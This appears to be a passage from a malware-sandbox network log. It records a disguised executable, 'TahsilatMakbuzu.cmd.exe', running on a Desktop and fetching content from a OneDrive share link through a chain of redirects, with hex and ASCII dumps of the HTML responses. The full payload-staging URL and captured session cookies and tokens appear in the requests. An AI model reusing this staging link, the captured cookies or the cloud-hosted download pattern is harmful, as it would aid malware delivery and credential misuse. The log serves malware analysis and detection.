2024-07-04 18:17:41 UTC	2219	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:41 UTC	8192	IN	Data Raw: 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 Data Ascii: 461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,9
2024-07-04 18:17:41 UTC	4168	IN	Data Raw: 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 Data Ascii: C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:17:42 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49823	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:42 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:43 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF851A570F3 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: Xs/AhJHLNEShmh3agDCURg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 6E2408FF050A447B83111CAF1A37E69E Ref B: EWR311000101021 Ref C: 2024-07-04T18:17:42Z Date: Thu, 04 Jul 2024 18:17:42 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49824	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:43 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:44 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:e6lEmVWc3Ig=:OidNX7cWwGlQ8N4uz5b5AS2p05ONxHAs3VqhCADNGhs=:F; domain=.live.com; path=/ Set-Cookie: xid=c955b945-14dd-4256-9b93-dfa8e98448ca&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:43 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYzLCJuYmYiOjE3MjAxMTcwNjMsImdpdmVuX25hbWUiOiIzMCIsImZhbWlseV9uYW1lIjoiQmVhdmVyIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNjkzYmYwNjdkOThlNzYxMjY0ZDExNGI5ZTYzMDlmZjUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2M30.PffwYqbtXcSlIESpw9NCnQXHL_OyLC1pYosVbzTBk1NGfmG5T_ifQyES0uFLUqDHDBQYIhLsCVkTnpI_gkHML-JUx_3lmNBEzUBlI_DBFu9w1Bl8t_PsQA19kyhcLTWRxfBb8-Itzji8BRrobmDYAZ_NERgul2gemyuhcHhvr_SVwUufFLBzJQNnL6TyGXyyY1xsMCVfU8utsscSfEaBbVg0XBusva8xVvhXYQifwzdN_EtlUJuYZUFEsM3AJIxV1sQmPQ2PjaVR4xY32OaFsEyOZ-8mFZdC6L4_or0SWkutYXO4l9GR6fLAJtUjk8TIzPXNgaBHgu10lwoE74PFRQ; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:44 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-9ngw4 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: DA0C655F8791409A997C9A483997A4F3 Ref B: BN3EDGE0206 Ref C: 2024-07-04T18:17:43Z Date: Thu, 04 Jul 2024 18:17:44 GMT Connection: close
2024-07-04 18:17:44 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49825	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:45 UTC	1280	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYzLCJuYmYiOjE3MjAxMTcwNjMsImdpdmVuX25hbWUiOiIzMCIsImZhbWlseV9uYW1lIjoiQmVhdmVyIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNjkzYmYwNjdkOThlNzYxMjY0ZDExNGI5ZTYzMDlmZjUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2M30.PffwYqbtXcSlIESpw9NCnQXHL_OyLC1pYosVbzTBk1NGfmG5T_ifQyES0uFLUqDHDBQYIhLsCVkTnpI_gkHML-JUx_3lmNBEzUBlI_DBFu9w1Bl8t_PsQA19kyhcLTWRxfBb8-Itzji8BRrobmDYAZ_NERgul2gemyuhcHhvr_SVwUufFLBzJQNnL6TyGXyyY1xsMCVfU8utsscSfEaBbVg0XBusva8xVvhXYQifwzdN_EtlUJuYZUFEsM3AJIxV1sQmPQ2PjaVR4xY32OaFsEyOZ-8mFZdC6L4_or0SWkutYXO4l9GR6fLAJtUjk8TIzPXNgaBHgu10lwoE74PFRQ; E=P:e6lEmVWc3Ig=:OidNX7cWwGlQ8N4uz5b5AS2p05ONxHAs3VqhCADNGhs=:F; xid=c955b945-14dd-4256-9b93-dfa8e9844 [TRUNCATED]
2024-07-04 18:17:45 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,8409,0,64131,17 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 441239a1-f0dc-5000-e92c-0b987b69b923 request-id: 441239a1-f0dc-5000-e92c-0b987b69b923 MS-CV: oTkSRNzwAFDpLAuYe2m5Iw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 39 SPIisLatency: 11 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1BA3EB7D150B4C7BAE3E0AD3387E8BC7 Ref B: BN3EDGE0412 Ref C: 2024-07-04T18:17:45Z Date: Thu, 04 Jul 2024 18:17:44 GMT Connection: close
2024-07-04 18:17:45 UTC	2220	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 Data Ascii: 61904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,94
